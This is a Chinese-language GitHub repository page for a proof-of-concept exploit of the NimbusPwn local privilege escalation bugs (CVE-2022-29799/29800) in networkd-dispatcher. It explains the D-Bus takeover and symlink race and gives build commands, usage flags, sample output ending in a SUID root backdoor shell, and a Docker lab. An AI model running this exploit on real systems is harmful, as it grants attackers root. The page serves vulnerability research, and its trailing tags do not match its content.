joshuavanderpoll/NimbusPWN-CVE-2022-29799-29800

GitHub: joshuavanderpoll/NimbusPWN-CVE-2022-29799-29800

NimbusPwn 是一个用 C 语言实现的 Linux networkd-dispatcher 本地提权漏洞(CVE-2022-29799/29800)概念验证工具。

Stars: 1 | Forks: 0

NimbusPwn — networkd-dispatcher < 2.1 本地提权 (CVE-2022-29799 / CVE-2022-29800) PoC

C Linux

## 📜 描述 这是一个用于 NimbusPwn 的 C 语言 PoC,利用 `networkd-dispatcher` 中的本地提权漏洞。非特权用户可以接管 `org.freedesktop.network1` D-Bus 名称,并发送精心构造的 `OperationalState`。Root 守护进程未对其进行过滤(CVE-2022-29799,路径遍历),并且脚本目录上的符号链接竞争(CVE-2022-29800,TOCTOU)会使其以 root 身份运行攻击者植入的脚本——从而释放一个 SUID root shell。 **受影响版本:** `networkd-dispatcher < 2.1`(已在 2.1 版本中修复)。仅限 Linux。需要系统 D-Bus 且 `org.freedesktop.network1` 名称可被接管。 ## 🛠️ 安装 在 Linux(Kali 或目标主机)上构建。它无法在 macOS/Windows 上构建或运行。 ``` git clone https://github.com/joshuavanderpoll/NimbusPWN-CVE-2022-29799-29800.git cd NimbusPWN-CVE-2022-29799-29800 sudo apt install -y gcc libc6-dev libdbus-1-dev pkg-config cc nimbuspwn.c -o nimbuspwn $(pkg-config --cflags --libs dbus-1) ``` ## ⚙️ 用法 在易受攻击的主机上以非特权用户身份运行。 ``` ./nimbuspwn [-c] [-s SHELL] -c, --check non-breaking vuln check, no exploitation -s, --shell SHELL shell to SUID-copy and spawn as root (default /bin/sh) -h, --help show help ``` 首先进行检查(安全,不植入任何内容,不参与竞争): ``` $ ./nimbuspwn --check [+] owned org.freedesktop.network1 [+] verdict: likely vulnerable (org.freedesktop.network1 is claimable, no privesc tried) ``` 然后执行利用: ``` $ ./nimbuspwn [*] shell=/bin/sh drop=/tmp/sh attempts=10 [+] owned org.freedesktop.network1 [@] attempt 1 (/tmp/nimbuspwn_93732) [+] planted 126 payloads (root-owned /sbin execs) in /tmp/nimbuspwn_93732 [*] OperationalState: ../../../tmp/nimbuspwn_93732/poc [*] signal sent (serial 3) [@] symlink swapped, waiting for root exec [+] root backdoor at /tmp/sh, spawning shell # id uid=1000(pwn) gid=1000(pwn) euid=0(root) groups=1000(pwn) ``` 该竞争具有非确定性,因此会进行重试(默认 10 次)。在没有 `/bin/sh` 的主机上请使用 `-s /bin/bash`。 ## 🐋 Docker PoC 一个独立的易受攻击实验环境(Ubuntu 20.04 + 易受攻击的 networkd-dispatcher 2.0)。无需 `--privileged` 或主机网络。 ``` docker compose build docker compose run --rm nimbuspwn-lab # 内部,作为用户 'pwn': ./nimbuspwn ``` 2.0 版本的 dispatcher 已内置在 `docker/` 目录中,因此构建不依赖于任何外部下载。Dispatcher 日志:`/var/log/dispatcher.log`。 ## 🕵🏼 参考 - Microsoft: https://www.microsoft.com/en-us/security/blog/2022/04/26/microsoft-finds-new-elevation-of-privilege-linux-vulnerability-nimbuspwn/ - 上游: https://gitlab.com/craftyguy/networkd-dispatcher ## 📢 免责声明 本工具仅供教育和研究目的使用。创作者不对因使用本工具而造成的任何误用或损坏承担责任。
标签:CSV导出, PoC, Web报告查看器, 安全, 暴力破解, 本地提权, 请求拦截, 超时处理